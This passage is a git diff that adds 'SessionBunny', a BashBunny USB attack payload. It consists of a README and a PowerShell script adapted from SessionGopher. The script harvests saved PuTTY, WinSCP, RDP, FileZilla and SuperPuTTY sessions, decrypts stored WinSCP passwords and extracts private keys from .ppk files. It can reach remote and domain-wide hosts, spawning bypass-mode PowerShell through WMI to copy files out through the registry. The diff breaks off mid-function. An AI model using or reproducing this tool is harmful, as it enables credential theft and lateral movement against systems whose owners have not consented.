diff --git a/SessionBunny/README.md b/SessionBunny/README.md new file mode 100644 index 00000000..5f35d397 --- /dev/null +++ b/SessionBunny/README.md @@ -0,0 +1,22 @@ +**Title: SessionBunny** + +Author: 0iphor13 +Credit for SessionGopher: Brandon Arvanaghi + +Version: 1.0 + +**Instruction:** + +This payload will run the famous SessionGopher script, which was only slightly modified. Searches for PuTTY, WinSCP, and Remote Desktop saved sessions, decrypts saved passwords for WinSCP, +Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. +After you recieve the information, save the items you are interested in simply on your BashBunny. + +# + +**Instruction:** + +Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt +# +Plug in BashBunny. +Wait for the script to finish and decide what you wanna do with the information gathered +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) \ No newline at end of file diff --git a/SessionBunny/SessionBunny.ps1 b/SessionBunny/SessionBunny.ps1 new file mode 100644 index 00000000..c7bd7818 --- /dev/null +++ b/SessionBunny/SessionBunny.ps1 @@ -0,0 +1,948 @@ +ļ»æfunction Invoke-SessionBunny +{ +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $False)] + [String] + $Computername, + + [Parameter(Position= 1 , Mandatory = $False)] + [String] + $Credential, + + [Parameter(Position= 2 , Mandatory = $False)] + [Alias("iL")] + [String] + $Inputlist, + + [Parameter(Position = 3, Mandatory = $False)] + [Switch] + $AllDomain, + + [Parameter(Position = 4, Mandatory = $False)] + [Switch] + $Everything, + + [Parameter(Position = 5, Mandatory = $False)] + [Switch] + $ExcludeDC, + + [Parameter(Position = 6, Mandatory = $False)] + [Switch] + [Alias("o")] + $OutCSV, + + [Parameter(Position=8, Mandatory = $False)] + [String] + $OutputDirectory = "$pwd\SessionGopher-" + (Get-Date -Format o | foreach {$_ -replace ":", "."}) + ) + + Write-Output ' + o + o + o_ + / ". SessionGopher + ," _-" Bunny Edition (0iphor13) + ," m m + ..+ ) Brandon Arvanaghi + `m..m @arvanaghi | arvanaghi.com + ' + $ErrorActionPreference = "SilentlyContinue" + #clear error listing + $Error.clear() + if ($OutCSV) { + Write-Verbose "Creating directory $OutputDirectory." + New-Item -ItemType Directory $OutputDirectory | Out-Null + New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null + if ($Everything) { + New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null + } + } + + if ($Credential) { + $Credentials = Get-Credential -Credential $Credential + } + + # Value for HKEY_USERS hive + $HKU = 2147483651 + # Value for HKEY_LOCAL_MACHINE hive + $HKLM = 2147483650 + + $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions" + $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions" + $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers" + + if ($Inputlist -or $AllDomain -or $ComputerName) { + + # Whether we read from an input file or query active directory + $Reader = "" + + if ($AllDomain) { + Write-Verbose "Getting member computers in the domain." + $Reader = GetComputersFromActiveDirectory + } elseif ($Inputlist) { + Write-Verbose "Reading the list of targets." + $Reader = Get-Content ((Resolve-Path $Inputlist).Path) + } elseif ($ComputerName) { + Write-Verbose "Setting target computer as $ComputerName." + $Reader = $ComputerName + } + + $optionalCreds = @{} + if ($Credentials) { + $optionalCreds['Credential'] = $Credentials + } + + foreach ($RemoteComputer in $Reader) { + + if ($AllDomain) { + # Extract just the name from the System.DirectoryServices.SearchResult object + $RemoteComputer = $RemoteComputer.Properties.name + } + if ($RemoteComputer) { + Write-Output "Digging on" $RemoteComputer"..." + + $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'} + + foreach ($SID in $SIDs) { + + # Get the username for SID we discovered has saved sessions + $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {} + $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "") + + # Created for each user found. Contains all sessions information for that user. + $UserObject = New-Object PSObject + + <# + PuTTY: contains hostname and usernames + SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored + RDP: contains hostname and username of sessions + FileZilla: hostname, username, relevant protocol information, decoded passwords if stored + WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used + #> + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + + # Construct tool registry/filesystem paths from SID or username + $RDPPath = $SID + $RDPPathEnding + $PuTTYPath = $SID + $PuTTYPathEnding + $WinSCPPath = $SID + $WinSCPPathEnding + $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'" + $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'" + + $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds + $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds + $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds + $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + + # If any WinSCP saved sessions exist on this box... + if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved WinSCP sessions." + # Get all sessions + $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames + + foreach ($WinSCPSession in $WinSCPSessions) { + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = $WinSCPSession + + $Location = $WinSCPPath + "\" + $WinSCPSession + + $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue + $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue + + if ($WinSCPSessionObject.Password) { + + $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security" + + $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue + + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + + } + + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For Each WinSCP Session + + if ($ArrayOfWinSCPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If path to WinSCP exists + + if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved PuTTY sessions." + # Get all sessions + $PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames + + foreach ($PuTTYSession in $PuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $Location = $PuTTYPath + "\" + $PuTTYSession + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = $PuTTYSession + $PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($ArrayOfPuTTYSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If PuTTY session exists + + if (($RDPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + Write-Verbose "Found saved RDP sessions." + # Get all sessions + $RDPSessions = $RDPSessions | Select-Object -ExpandProperty sNames + + foreach ($RDPSession in $RDPSessions) { + + $RDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $Location = $RDPPath + "\" + $RDPSession + + $RDPSessionObject.Source = $Source + $RDPSessionObject.Hostname = $RDPSession + $RDPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserNameHint" @optionalCreds).sValue + + [void]$ArrayOfRDPSessions.Add($RDPSessionObject) + + } + + if ($ArrayOfRDPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Sessions" + $ArrayOfRDPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If RDP sessions exist + + # If we find the SuperPuTTY Sessions.xml file where we would expect it + if ($SuperPuTTYPath.Name) { + Write-Verbose "Found SupePuTTY sessions.xml" + $File = "C:\Users\$MappedUserName\Documents\SuperPuTTY\Sessions.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$SuperPuTTYXML = $FileContents + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + # If we find the FileZilla sitemanager.xml file where we would expect it + if ($FileZillaPath.Name) { + Write-Verbose "Found FileZilaa sitemanager.xml" + $File = "C:\Users\$MappedUserName\AppData\Roaming\FileZilla\sitemanager.xml" + $FileContents = DownloadAndExtractFromRemoteRegistry $File + + [xml]$FileZillaXML = $FileContents + (ProcessFileZillaFile $FileZillaXML) + + } # FileZilla + + } # for each SID + + if ($Everything) { + Write-Verbose "Running the every test. Reading files on the target machine. This may take few minutes." + $ArrayofPPKFiles = New-Object System.Collections.ArrayList + $ArrayofRDPFiles = New-Object System.Collections.ArrayList + $ArrayofsdtidFiles = New-Object System.Collections.ArrayList + + $FilePathsFound = (Get-WmiObject -Class 'CIM_DataFile' -Filter "Drive='C:' AND extension='ppk' OR extension='rdp' OR extension='.sdtid'" -ComputerName $RemoteComputer @optionalCreds | Select Name) + + (ProcessThoroughRemote $FilePathsFound) + + } + + + # Check if the error is access denied. + $ourerror = $error[0] + if ($ourerror.Exception.Message.Contains("Access is denied.")) { + Write-Warning "Access Denied on $RemoteComputer" + } elseif ($ourerror.Exception.Message.Contains("The RPC server is unavailable.")) { + Write-Warning "Cannot connect to $RemoteComputer. Is the host up and accepting RPC connections?" + } else { + Write-Debug "$($ourerror.Exception.Message)" + } + } + }# for each remote computer + # Else, we run SessionGopher locally + } else { + + Write-Output "Digging on"(Hostname)"..." + + # Aggregate all user hives in HKEY_USERS into a variable + $UserHives = Get-ChildItem Registry::HKEY_USERS\ -ErrorAction SilentlyContinue | Where-Object {$_.Name -match '^HKEY_USERS\\S-1-5-21-[\d\-]+$'} + + # For each SID beginning in S-15-21-. Loops through each user hive in HKEY_USERS. + foreach($Hive in $UserHives) { + + # Created for each user found. Contains all PuTTY, WinSCP, FileZilla, RDP information. + $UserObject = New-Object PSObject + + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfPPKFiles = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPFiles = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + + $objUser = (GetMappedSID) + $Source = (Hostname) + "\" + (Split-Path $objUser.Value -Leaf) + + $UserObject | Add-Member -MemberType NoteProperty -Name "Source" -Value $objUser.Value + + # Construct PuTTY, WinSCP, RDP, FileZilla session paths from base key + $PuTTYPath = Join-Path $Hive.PSPath "\$PuTTYPathEnding" + $WinSCPPath = Join-Path $Hive.PSPath "\$WinSCPPathEnding" + $MicrosoftRDPPath = Join-Path $Hive.PSPath "\$RDPPathEnding" + $FileZillaPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\AppData\Roaming\FileZilla\sitemanager.xml" + $SuperPuTTYPath = "C:\Users\" + (Split-Path -Leaf $UserObject."Source") + "\Documents\SuperPuTTY\Sessions.xml" + + if (Test-Path $FileZillaPath) { + + [xml]$FileZillaXML = Get-Content $FileZillaPath + (ProcessFileZillaFile $FileZillaXML) + + } + + if (Test-Path $SuperPuTTYPath) { + + [xml]$SuperPuTTYXML = Get-Content $SuperPuTTYPath + (ProcessSuperPuTTYFile $SuperPuTTYXML) + + } + + if (Test-Path $MicrosoftRDPPath) { + + # Aggregates all saved sessions from that user's RDP client + $AllRDPSessions = Get-ChildItem $MicrosoftRDPPath + + (ProcessRDPLocal $AllRDPSessions) + + } # If (Test-Path MicrosoftRDPPath) + + if (Test-Path $WinSCPPath) { + + # Aggregates all saved sessions from that user's WinSCP client + $AllWinSCPSessions = Get-ChildItem $WinSCPPath + + (ProcessWinSCPLocal $AllWinSCPSessions) + + } # If (Test-Path WinSCPPath) + + if (Test-Path $PuTTYPath) { + + # Aggregates all saved sessions from that user's PuTTY client + $AllPuTTYSessions = Get-ChildItem $PuTTYPath + + (ProcessPuTTYLocal $AllPuTTYSessions) + + } # If (Test-Path PuTTYPath) + + } # For each Hive in UserHives + + # If run in Thorough Mode + if ($Everything) { + + # Contains raw i-node data for files with extension .ppk, .rdp, and sdtid respectively, found by Get-ChildItem + $PPKExtensionFilesINodes = New-Object System.Collections.ArrayList + $RDPExtensionFilesINodes = New-Object System.Collections.ArrayList + $sdtidExtensionFilesINodes = New-Object System.Collections.ArrayList + + # All drives found on system in one variable + $AllDrives = Get-PSDrive + + (ProcessThoroughLocal $AllDrives) + + (ProcessPPKFile $PPKExtensionFilesINodes) + (ProcessRDPFile $RDPExtensionFilesINodes) + (ProcesssdtidFile $sdtidExtensionFilesINodes) + + } # If Thorough + + } # Else -- run SessionGopher locally + +} # Invoke-SessionGopher + +#################################################################################### +#################################################################################### +## Registry Querying Helper Functions +#################################################################################### +#################################################################################### + +# Maps the SID from HKEY_USERS to a username through the HKEY_LOCAL_MACHINE hive +function GetMappedSID { + + # If getting SID from remote computer + if ($Inputlist -or $ComputerName -or $AllDomain) { + # Get the username for SID we discovered has saved sessions + $SIDPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\$SID" + $Value = "ProfileImagePath" + + (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM,$SIDPath,$Value @optionalCreds).sValue + # Else, get local SIDs + } else { + # Converts user SID in HKEY_USERS to username + $SID = (Split-Path $Hive.Name -Leaf) + $objSID = New-Object System.Security.Principal.SecurityIdentifier("$SID") + $objSID.Translate( [System.Security.Principal.NTAccount]) + } + +} + +function DownloadAndExtractFromRemoteRegistry($File) { + # The following code is taken from Christopher Truncer's WMIOps script on GitHub. It gets file contents through WMI by + # downloading the file's contents to the remote computer's registry, and then extracting the value from that registry location + $fullregistrypath = "HKLM:\Software\Microsoft\DRM" + $registrydownname = "ReadMe" + $regpath = "SOFTWARE\Microsoft\DRM" + + # On remote system, save file to registry + Write-Verbose "Reading remote file and writing on remote registry" + $remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [System.Convert]::ToBase64String($fct); New-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registrydownname'" + ' -Value $fctenc -PropertyType String -Force' + $remote_command = 'powershell -nop -exec bypass -c "' + $remote_command + '"' + + $null = Invoke-WmiMethod -class win32_process -Name Create -Argumentlist $remote_command -ComputerName $RemoteComputer @optionalCreds + + # Sleeping to let remote system read and store file + Start-Sleep -s 15 + + $remote_reg = "" + + # Grab file from remote system's registry + $remote_reg = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKLM, $regpath, $registrydownname -Computer $RemoteComputer @optionalCreds + + $decoded = [System.Convert]::FromBase64String($remote_reg.sValue) + $UTF8decoded = [System.Text.Encoding]::UTF8.GetString($decoded) + + # Removing Registry value from remote system + $null = Invoke-WmiMethod -Namespace 'root\default' -Class 'StdRegProv' -Name 'DeleteValue' -Argumentlist $reghive, $regpath, $registrydownname -ComputerName $RemoteComputer @optionalCreds + + $UTF8decoded + +} + +#################################################################################### +#################################################################################### +## File Processing Helper Functions +#################################################################################### +#################################################################################### + +function ProcessThoroughLocal($AllDrives) { + + foreach ($Drive in $AllDrives) { + # If the drive holds a filesystem + if ($Drive.Provider.Name -eq "FileSystem") { + $Dirs = Get-ChildItem $Drive.Root -Recurse -ErrorAction SilentlyContinue + foreach ($Dir in $Dirs) { + Switch ($Dir.Extension) { + ".ppk" {[void]$PPKExtensionFilesINodes.Add($Dir)} + ".rdp" {[void]$RDPExtensionFilesINodes.Add($Dir)} + ".sdtid" {[void]$sdtidExtensionFilesINodes.Add($Dir)} + } + } + } + } + +} + +function ProcessThoroughRemote($FilePathsFound) { + + foreach ($FilePath in $FilePathsFound) { + # Each object we create for the file extension found from a -Thorough search will have the same properties (Source, Path to File) + $EverythingObject = "" | Select-Object -Property Source,Path + $EverythingObject.Source = $RemoteComputer + + $Extension = [IO.Path]::GetExtension($FilePath.Name) + + if ($Extension -eq ".ppk") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofPPKFiles.Add($EverythingObject) + } elseif ($Extension -eq ".rdp") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofRDPFiles.Add($EverythingObject) + } elseif ($Extension -eq ".sdtid") { + $EverythingObject.Path = $FilePath.Name + [void]$ArrayofsdtidFiles.Add($EverythingObject) + } + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Format-List | Out-String + } + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Format-List | Out-String + } + } + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Format-List | Out-String + } + + } + +} # ProcessThoroughRemote + +function ProcessPuTTYLocal($AllPuTTYSessions) { + + # For each PuTTY saved session, extract the information we want + foreach($Session in $AllPuTTYSessions) { + + $PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname + + $PuTTYSessionObject.Source = $Source + $PuTTYSessionObject.Session = (Split-Path $Session -Leaf) + $PuTTYSessionObject.Hostname = ((Get-ItemProperty -Path ("Microsoft.PowerShell.Core\Registry::" + $Session) -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject) + + } + + if ($OutCSV) { + $ArrayOfPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Sessions" + $ArrayOfPuTTYSessions | Format-List | Out-String + } + + # Add the array of PuTTY session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions + +} # ProcessPuTTYLocal + +function ProcessRDPLocal($AllRDPSessions) { + + # For each RDP saved session, extract the information we want + foreach($Session in $AllRDPSessions) { + + $PathToRDPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $MicrosoftRDPSessionObject = "" | Select-Object -Property Source,Hostname,Username + + $MicrosoftRDPSessionObject.Source = $Source + $MicrosoftRDPSessionObject.Hostname = (Split-Path $Session -Leaf) + $MicrosoftRDPSessionObject.Username = ((Get-ItemProperty -Path $PathToRDPSession -Name "UsernameHint" -ErrorAction SilentlyContinue).UsernameHint) + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfRDPSessions.Add($MicrosoftRDPSessionObject) + + } # For each Session in AllRDPSessions + + if ($OutCSV) { + $ArrayOfRDPSessions | Export-CSV -Append -Path ($OutputDirectory + "\RDP.csv") -NoTypeInformation + } else { + Write-Output "Microsoft Remote Desktop (RDP) Sessions" + $ArrayOfRDPSessions | Format-List | Out-String + } + + # Add the array of RDP session objects to UserObject + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Sessions" -Value $ArrayOfRDPSessions + +} #ProcessRDPLocal + +function ProcessWinSCPLocal($AllWinSCPSessions) { + + # For each WinSCP saved session, extract the information we want + foreach($Session in $AllWinSCPSessions) { + + $PathToWinSCPSession = "Microsoft.PowerShell.Core\Registry::" + $Session + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = (Split-Path $Session -Leaf) + $WinSCPSessionObject.Hostname = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Hostname" -ErrorAction SilentlyContinue).Hostname) + $WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username) + $WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password) + + if ($WinSCPSessionObject.Password) { + $MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword) + + # If the user is not using a master password, we can crack it: + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + # Else, the user is using a master password. We can't retrieve plaintext credentials for it. + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + } + + # ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this. + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For each Session in AllWinSCPSessions + + if ($OutCSV) { + $ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Format-List | Out-String + } + + # Add the array of WinSCP session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + +} # ProcessWinSCPLocal + +function ProcesssdtidFile($sdtidExtensionFilesINodes) { + + foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) { + + $sdtidFileObject = "" | Select-Object -Property "Source","Path" + + $sdtidFileObject."Source" = $Source + $sdtidFileObject."Path" = $Path + + [void]$ArrayOfsdtidFiles.Add($sdtidFileObject) + + } + + if ($ArrayOfsdtidFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles + + if ($OutCSV) { + $ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation + } else { + Write-Output "RSA Tokens (sdtid)" + $ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process sdtid File + +function ProcessRDPFile($RDPExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes + foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) { + + $RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session" + + $RDPFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .rdp file into our object + $RDPFileObject."Path" = $Path + $RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + $RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {} + + if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) { + $RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host" + } else { + $RDPFileObject."Administrative Session" = "Connects to admin session on remote host" + } + if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) { + $RDPFileObject."Prompts for Credentials" = "No" + } else { + $RDPFileObject."Prompts for Credentials" = "Yes" + } + + [void]$ArrayOfRDPFiles.Add($RDPFileObject) + + } + + if ($ArrayOfRDPFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles + + if ($OutCSV) { + $ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation + } else { + Write-Output "Microsoft RDP Connection Files (.rdp)" + $ArrayOfRDPFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process RDP File + +function ProcessPPKFile($PPKExtensionFilesINodes) { + + # Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes + foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) { + + # Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is + $PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC" + + $PPKFileObject."Source" = (Hostname) + + # The next several lines use regex pattern matching to store relevant info from the .ppk file into our object + $PPKFileObject."Path" = $Path + + $PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {} + $NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {} + $PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {} + $PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {} + + # Add the object we just created to the array of .ppk file objects + [void]$ArrayOfPPKFiles.Add($PPKFileObject) + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType 